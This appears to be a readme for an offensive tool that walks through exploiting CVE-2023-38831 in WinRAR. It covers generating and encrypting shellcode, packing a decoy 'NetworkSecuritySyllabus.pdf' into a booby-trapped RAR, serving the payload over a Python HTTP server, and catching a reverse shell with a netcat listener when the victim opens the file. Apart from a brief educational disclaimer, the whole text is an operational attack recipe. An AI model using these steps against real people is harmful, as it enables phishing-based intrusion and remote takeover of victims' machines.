1. Craft Shellcode

   • Use 51721.py to generate the initial shellcode.

2. Modify and Compile the Shellcode

   • Make necessary modifications to the shellcode.
   • Compile the modified code.

3. Encrypt the Executable

   • Use decrypt_file.ps1 to encrypt the compiled executable:
     root@kitploit:~

     .\decrypt_file.ps1 -inputFile .\main.exe -outputFile .\enc_main.exe
     

4. Create a WinRAR Archive

   • Use cve-2023-38831-exp-gen.py to create the archive:
     root@kitploit:~

     python cve-2023-38831-exp-gen.py NetworkSecuritySyllabus.pdf script.bat NetworkSecuritySyllabus.rar
     

5. Set Up a Python Server for File Download

   • Navigate to the directory containing enc_main.exe and decrypt_file.ps1.
   • Start a Python HTTP server:
     root@kitploit:~

     python3 -m http.server 8000
     

6. Prepare to Listen for the Reverse TCP Shell

   • Open Netcat to listen for incoming TCP connections:
     root@kitploit:~

     nc -lnvp 4444
     

7. Trigger the Reverse TCP Shell

   • When the victim opens the PDF file, the reverse TCP connection will be triggered, giving you access to their machine.

Disclaimer

This information is provided for educational purposes only. The use of this exploit without explicit permission is illegal and unethical. The author assumes no responsibility for any misuse of this information.